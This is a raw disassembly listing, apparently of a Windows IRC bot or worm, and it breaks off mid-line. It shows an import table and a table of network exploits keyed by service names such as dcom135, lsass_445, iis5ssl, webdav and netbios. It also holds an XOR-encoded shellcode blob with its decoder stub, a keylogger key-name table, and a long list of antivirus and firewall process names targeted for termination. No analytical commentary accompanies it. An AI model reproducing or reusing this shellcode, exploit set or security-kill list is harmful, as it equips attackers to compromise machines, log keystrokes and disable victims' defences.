7C80FE82h, 7C80FF19h dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C8329D9h, 7C812782h, 7C835DCAh, 7C809BF8h, 7C80A0D4h dd 7C8216A4h, 7C80DDF5h, 7C831EABh, 7C801E16h, 7C80BAA1h dd 7C81CE03h, 7C835E8Fh, 7C809920h, 7C8286EEh, 7C802520h dd 7C80E93Fh, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h dd 7C81B58Bh, 7C80D262h, 7C812ADEh, 7C830B14h, 7C873A31h dd 7C80A05Dh, 7C8310F2h, 7C8312E5h, 7C832044h, 7C9109EDh dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C812641h, 7C81DC03h dd 7C809EF1h, 7C80A490h, 7C9179FDh, 7C8017E5h, 7C937A40h dd 7C801EEEh, 7C812F1Dh, 7C8136D7h, 7C910340h, 7C809728h dd 7C809BC5h, 7C809740h, 7C812D9Fh, 7C810EF8h, 7C812BB6h dd 7C809AE4h, 7C809A51h, 7C809E79h, 7C801AD0h, 7C80B9D1h dd 7C838DE8h, 7C80CCA8h, 7C809915h, 7C8127A7h, 7C812E76h dd 7C812F39h, 7C862E2Ah, 7C81DF77h, 7C81CF5Bh, 7C814AE7h dd 7C812F08h, 7C80CC97h, 7C810E51h, 7C838A0Ch, 0 dd 71AB3EA1h, 71AB4519h, 71AB3E00h, 71AB88D3h, 71AB2DC0h dd 71AB4544h, 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB664Dh dd 71AB3B91h, 71AB2BF4h, 71AB2B66h, 71AB406Ah, 71AB9639h dd 71AB4428h, 0 db 29h ; ) db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0BEh ; db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 5Ah ; Z db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aE_0 db 'e',0 aCreatethread db 'CreateThread',0 align 4 db 65h ; e db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 aM_1 db '',0 aExitthread db 'ExitThread',0 align 4 db 2Dh ; - db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 10h db '',0 aEntercriticals db 'EnterCriticalSection',0 align 4 db 3 db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aV_0 db 'v',0 aDeletecritical db 'DeleteCriticalSection',0 db 5Ch ; \ db 1, 47h, 65h aTlocaltime db 'tLocalTime',0 align 4 db ',',0 aClosehandle db 'CloseHandle',0 dw 376h aWritefile db 'WriteFile',0 aJ_0 db 'J',0 aCreatefilea db 'CreateFileA',0 db 7Eh ; ~ db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 27Fh aQueryperform_1 db 'QueryPerformanceFrequency',0 db '',0 aExitprocess db 'ExitProcess',0 db '\',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 1A6h aGetsystemdirec db 'GetSystemDirectoryA',0 db '',0 aFindclose db 'FindClose',0 db '',0 aFindnextfilea db 'FindNextFileA',0 db '',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 1F5h aHeapfree db 'HeapFree',0 align 2 dw 1EFh aHeapalloc db 'HeapAlloc',0 dw 18Bh aGetprocessheap db 'GetProcessHeap',0 align 4 db '',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 4 db '',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 dw 35Eh aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 93h ; db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 db 0A8h ; db 1, 47h, 65h aTsysteminfo db 'tSystemInfo',0 db 61h ; a db 2, 4Fh, 70h aEnprocess db 'enProcess',0 db '',0 aFreelibrary db 'FreeLibrary',0 db 43h ; C db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableW',0 dw 189h aGetprocaddress db 'GetProcAddress',0 align 4 db 2Eh ; . db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 90h db 2, 52h, 65h aAdfile db 'adFile',0 align 10h db 0F1h ; db 2, 53h, 65h aTfilepointer db 'tFilePointer',0 align 2 dw 14Dh aGetfilesize db 'GetFileSize',0 db 0BFh ; db 1, 47h, 65h aTtimeformata db 'tTimeFormatA',0 align 2 dw 133h aGetdateformata db 'GetDateFormatA',0 align 4 db 48h ; H db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 167h aGetmodulehandl db 'GetModuleHandleA',0 align 2 aR_0 db '',0 aFormatmessagea db 'FormatMessageA',0 align 10h db 0E9h ; db 1, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 10h db 0E2h ; db 1, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 345h aUnmapviewoffil db 'UnmapViewOfFile',0 db 44h ; D db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aK_0 db 'K',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 2F5h aSetfiletime db 'SetFileTime',0 dd 6547014Fh, 6C694674h, 6D695465h, 0AE0065h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 2EFh aSetfileattribu db 'SetFileAttributesA',0 align 4 db 0B6h ; db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 51h ; Q db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 369h aWidechartomult db 'WideCharToMultiByte',0 db 1 db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 4 db 2Fh ; / db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 'x',0 aDeletefilea db 'DeleteFileA',0 dw 331h aTerminateproce db 'TerminateProcess',0 align 2 dw 395h aLstrcmpia db 'lstrcmpiA',0 dw 332h aTerminatethrea db 'TerminateThread',0 db 4Ah ; J db 2, 4Dh, 6Fh aVefilea db 'veFileA',0 db 30h ; 0 db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcessId',0 db ':',0 aCopyfilea db 'CopyFileA',0 dw 365h aWaitforsingleo db 'WaitForSingleObject',0 aW db 'W',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 44h ; D db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 26Ch aPeeknamedpipe db 'PeekNamedPipe',0 aI_1 db '',0 aDuplicatehandl db 'DuplicateHandle',0 db '[',0 aCreatepipe db 'CreatePipe',0 align 2 dw 2C8h aSetconsolectrl db 'SetConsoleCtrlHandler',0 dw 15Dh aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 db 0C8h ; db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 61h ; a db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 10h db '',0 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 db 63h ; c db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1E3h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 4 db 3Bh ; ; db 3, 54h, 72h aAnsactnamedpip db 'ansactNamedPipe',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 dw 1F9h aHeaprealloc db 'HeapReAlloc',0 db 0ACh ; db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 2B1h aRtlunwind db 'RtlUnwind',0 dw 19Ch aGetstartupinfo db 'GetStartupInfoA',0 db 0FDh ; align 2 aGetcommandline db 'GetCommandLineA',0 dw 337h aTlsfree db 'TlsFree',0 db 0FEh ; db 2, 53h, 65h aTlasterror_0 db 'tLastError',0 align 4 db 32h ; 2 db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 339h aTlssetvalue db 'TlsSetValue',0 db 38h ; 8 db 3, 54h, 6Ch aSgetvalue db 'sGetValue',0 dw 336h aTlsalloc db 'TlsAlloc',0 align 2 dw 1F3h aHeapdestroy db 'HeapDestroy',0 db 0F1h ; db 1, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 358h aVirtualfree db 'VirtualFree',0 db 55h ; U db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 14h db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 5Bh ; [ db 3, 56h, 69h aRtualprotect db 'rtualProtect',0 align 2 dw 35Dh aVirtualquery db 'VirtualQuery',0 align 2 dw 220h aLcmapstringa db 'LCMapStringA',0 align 2 dw 221h aLcmapstringw db 'LCMapStringW',0 align 2 aI_2 db '',0 aGetacp db 'GetACP',0 align 10h db 7Ch ; | db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 0F1h ; align 2 aGetcpinfo db 'GetCPInfo',0 db 9Eh ; db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 42h ; B db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 aU_0 db '',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 13Fh aGetenvironment db 'GetEnvironmentStrings',0 aF db '',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 41h ; A db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStringsW',0 align 2 dw 2FAh aSethandlecount db 'SetHandleCount',0 align 4 dd 65470150h, 6C694674h, 70795465h, 19F0065h, 53746547h dd 6E697274h, 70795467h, 4165h, 654701A2h, 72745374h, 54676E69h dd 57657079h, 2020000h aInitializecr_0 db 'InitializeCriticalSection',0 dw 30Ch aSetstdhandle db 'SetStdHandle',0 align 2 db '',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 2 dw 31Dh aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 73490211h, 52646142h, 50646165h, 7274h, 7349020Eh, 43646142h dd 5065646Fh, 7274h, 654801FBh, 69537061h, 657Ah, 655302E8h dd 646E4574h, 6946664Fh, 656Ch, 1A6h dup(0) dword_42E000 dd 0 dd offset sub_420507 dword_42E008 dd 0 dword_42E00C dd 0 dd offset sub_41B045 dd offset sub_41D4BB dd offset sub_41D5EC dd offset sub_4206ED dword_42E020 dd 0 dword_42E024 dd 0 dd offset sub_41B0EE dword_42E02C dd 0 dword_42E030 dd 0 ; DATA XREF: sub_418350:loc_4183DEo dd offset sub_420700 dword_42E038 dd 2 dup(0) aWebdav db 'webdav',0 ; DATA XREF: sub_40195E+155o align 4 db 2 dup(0) aWebdav_0 db 'WebDav',0 ; DATA XREF: sub_413C88+2B2o ; .text:00414873o ... align 4 dd 5 dup(0) dword_42E068 dd 50h ; sub_409848+441Fr ... off_42E06C dd offset sub_413C88 ; DATA XREF: sub_40195E+1F8r dword_42E070 dd 0 dword_42E074 dd 1 dword_42E078 dd 0 aNetbios db 'netbios',0 dd 654E0000h, 6F694274h, 73h, 5 dup(0) dd 8Bh, 4161E0h, 3 dup(0) aNtpass db 'ntpass',0 align 10h dd 544E0000h, 73736150h, 6 dup(0) dd 1BDh, 4161E0h, 3 dup(0) aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 41459Ch, 0 dd 1, 0 aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 41459Ch, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 10h dd 5 dup(0) dd 401h, 41459Ch, 0 dd 1, 0 aDcom2 db 'dcom2',0 align 10h dd 63440000h, 326D6Fh, 6 dup(0) dd 87h, 4148D8h, 0 dd 1, 0 aIis5ssl db 'iis5ssl',0 dd 49490000h, 53533553h, 4Ch, 5 dup(0) dd 1BBh, 414B0Bh, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 4156C2h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 41588Dh, 0 dd 2 dup(1), 6974706Fh, 78h, 704F0000h, 786974h, 6 dup(0) dd 0C44h, 4163ADh, 3 dup(0) aKuang2 db 'kuang2',0 align 4 dd 754B0000h, 32676E61h, 6 dup(0) dd 4394h, 414E76h, 12h dup(0) aLsass_445_1 db 'lsass_445',0 byte_42E356 db 1 ; DATA XREF: sub_409848:loc_40DBDFr ; sub_409848+43A3o aLsass_139 db 'lsass_139',0 db 1, 2 dup(0) align 10h loc_42E370: ; DATA XREF: .text:00414C1Fo jmp short loc_42E382 ; =============== S U B R O U T I N E ======================================= sub_42E372 proc near ; CODE XREF: sub_42E372:loc_42E382p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42E37A: ; CODE XREF: sub_42E372+Cj xor byte ptr [edx+ecx], 99h loop loc_42E37A jmp short loc_42E387 ; --------------------------------------------------------------------------- loc_42E382: ; CODE XREF: .text:loc_42E370j call sub_42E372 loc_42E387: ; CODE XREF: sub_42E372+Ej jo short near ptr dword_42E2FC+26h cwde cdq cdq retn sub_42E372 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h dword_42E4F0 dd 80000002h off_42E4F4 dd offset aSoftwareMicr_0 ; DATA XREF: sub_40214F+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 42FEC4h, 80000001h, 42FEFCh dword_42E508 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E554 dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_42E570: ; DATA XREF: sub_40402D+10Fo mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E584 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40402D+138o dd 8 dword_42E59C dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_42ECCC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 3 dup(0) off_42ED08 dd offset aAdd ; DATA XREF: sub_4082EB+59r ; sub_408363+4Ar ... ; "Add" off_42ED0C dd offset aAdded ; DATA XREF: sub_4082EB+2Dr ; sub_408363+7Cr ... ; "Added" dword_42ED10 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4246C8h, 4246C0h, 2, 4246B4h, 4246A8h, 3, 0 dword_42ED60 dd 7530h align 8 off_42ED68 dd offset aAckwin32_exe ; DATA XREF: sub_408D49:loc_408E10r ; "ACKWIN32.EXE" dd offset aAdaware_exe ; "ADAWARE.EXE" dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE" dd offset aAgentsvr_exe ; "AGENTSVR.EXE" dd offset aAgentw_exe ; "AGENTW.EXE" dd offset aAlertsvc_exe ; "ALERTSVC.EXE" dd offset aAlevir_exe ; "ALEVIR.EXE" dd offset aAlogserv_exe ; "ALOGSERV.EXE" dd offset aAmon9x_exe ; "AMON9X.EXE" dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE" dd offset aAntivirus_exe ; "ANTIVIRUS.EXE" dd offset aAnts_exe ; "ANTS.EXE" dd offset aApimonitor_exe ; "APIMONITOR.EXE" dd offset aAplica32_exe ; "APLICA32.EXE" dd offset aApvxdwin_exe ; "APVXDWIN.EXE" dd offset aArr_exe ; "ARR.EXE" dd offset aAtcon_exe ; "ATCON.EXE" dd offset aAtguard_exe ; "ATGUARD.EXE" dd offset aAtro55en_exe ; "ATRO55EN.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtwatch_exe ; "ATWATCH.EXE" dd offset aAu_exe ; "AU.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAvconsol_exe ; "AVCONSOL.EXE" dd offset aAve32_exe ; "AVE32.EXE" dd offset aAvgcc32_exe ; "AVGCC32.EXE" dd offset aAvgctrl_exe ; "AVGCTRL.EXE" dd offset aAvgnt_exe ; "AVGNT.EXE" dd offset aAvgserv_exe ; "AVGSERV.EXE" dd offset aAvgserv9_exe ; "AVGSERV9.EXE" dd offset aAvguard_exe ; "AVGUARD.EXE" dd offset aAvgw_exe ; "AVGW.EXE" dd offset aAvkpop_exe ; "AVKPOP.EXE" dd offset aAvkserv_exe ; "AVKSERV.EXE" dd offset aAvkservice_exe ; "AVKSERVICE.EXE" dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE" dd offset aAvltmain_exe ; "AVLTMAIN.EXE" dd offset aAvnt_exe ; "AVNT.EXE" dd offset aAvp_exe ; "AVP.EXE" dd offset aAvp32_exe ; "AVP32.EXE" dd offset aAvpcc_exe ; "AVPCC.EXE" dd offset aAvpdos32_exe ; "AVPDOS32.EXE" dd offset aAvpm_exe ; "AVPM.EXE" dd offset aAvptc32_exe ; "AVPTC32.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvsched32_exe ; "AVSCHED32.EXE" dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE" dd offset aAvwin95_exe ; "AVWIN95.EXE" dd offset aAvwinnt_exe ; "AVWINNT.EXE" dd offset aAvwupd_exe ; "AVWUPD.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE" dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE" dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aBackweb_exe ; "BACKWEB.EXE" dd offset aBargains_exe ; "BARGAINS.EXE" dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBelt_exe ; "BELT.EXE" dd offset aBidef_exe ; "BIDEF.EXE" dd offset aBidserver_exe ; "BIDSERVER.EXE" dd offset aBipcp_exe ; "BIPCP.EXE" dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE" dd offset aBisp_exe ; "BISP.EXE" dd offset aBlackd_exe ; "BLACKD.EXE" dd offset aBlackice_exe ; "BLACKICE.EXE" dd offset aBlss_exe ; "BLSS.EXE" dd offset aBootconf_exe ; "BOOTCONF.EXE" dd offset aBootwarn_exe ; "BOOTWARN.EXE" dd offset aBorg2_exe ; "BORG2.EXE" dd offset aBpc_exe ; "BPC.EXE" dd offset aBrasil_exe ; "BRASIL.EXE" dd offset aBs120_exe ; "BS120.EXE" dd offset aBundle_exe ; "BUNDLE.EXE" dd offset aBvt_exe ; "BVT.EXE" dd offset aCcapp_exe ; "CCAPP.EXE" dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE" dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE" dd offset aCdp_exe ; "CDP.EXE" dd offset aCfd_exe ; "CFD.EXE" dd offset aCfgwiz_exe ; "CFGWIZ.EXE" dd offset aCfiadmin_exe ; "CFIADMIN.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfinet_exe ; "CFINET.EXE" dd offset aCfinet32_exe ; "CFINET32.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aClean_exe ; "CLEAN.EXE" dd offset aCleaner_exe ; "CLEANER.EXE" dd offset aCleaner3_exe ; "CLEANER3.EXE" dd offset aCleanpc_exe ; "CLEANPC.EXE" dd offset aClick_exe ; "CLICK.EXE" dd offset aCmd32_exe ; "CMD32.EXE" dd offset aCmesys_exe ; "CMESYS.EXE" dd offset aCmgrdian_exe ; "CMGRDIAN.EXE" dd offset aCmon016_exe ; "CMON016.EXE" dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE" dd offset aCpd_exe ; "CPD.EXE" dd offset aCpf9x206_exe ; "CPF9X206.EXE" dd offset aCpfnt206_exe ; "CPFNT206.EXE" dd offset aCtrl_exe ; "CTRL.EXE" dd offset aCv_exe ; "CV.EXE" dd offset aCwnb181_exe ; "CWNB181.EXE" dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE" dd offset aClaw95_exe ; "Claw95.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aDatemanager_ex ; "DATEMANAGER.EXE" dd offset aDcomx_exe ; "DCOMX.EXE" dd offset aDefalert_exe ; "DEFALERT.EXE" dd offset aDefscangui_exe ; "DEFSCANGUI.EXE" dd offset aDefwatch_exe ; "DEFWATCH.EXE" dd offset aDeputy_exe ; "DEPUTY.EXE" dd offset aDivx_exe ; "DIVX.EXE" dd offset aDllcache_exe ; "DLLCACHE.EXE" dd offset aDllreg_exe ; "DLLREG.EXE" dd offset aDoors_exe ; "DOORS.EXE" dd offset aDpf_exe ; "DPF.EXE" dd offset aDpfsetup_exe ; "DPFSETUP.EXE" dd offset aDpps2_exe ; "DPPS2.EXE" dd offset aDrwatson_exe ; "DRWATSON.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aDrwebupw_exe ; "DRWEBUPW.EXE" dd offset aDssagent_exe ; "DSSAGENT.EXE" dd offset aDvp95_exe ; "DVP95.EXE" dd offset aDvp95_0_exe ; "DVP95_0.EXE" dd offset aEcengine_exe ; "ECENGINE.EXE" dd offset aEfpeadm_exe ; "EFPEADM.EXE" dd offset aEmsw_exe ; "EMSW.EXE" dd offset aEnt_exe ; "ENT.EXE" dd offset aEsafe_exe ; "ESAFE.EXE" dd offset aEscanh95_exe ; "ESCANH95.EXE" dd offset aEscanhnt_exe ; "ESCANHNT.EXE" dd offset aEscanv95_exe ; "ESCANV95.EXE" dd offset aEspwatch_exe ; "ESPWATCH.EXE" dd offset aEthereal_exe ; "ETHEREAL.EXE" dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE" dd offset aEvpn_exe ; "EVPN.EXE" dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE" dd offset aExe_avxw_exe ; "EXE.AVXW.EXE" dd offset aExpert_exe ; "EXPERT.EXE" dd offset 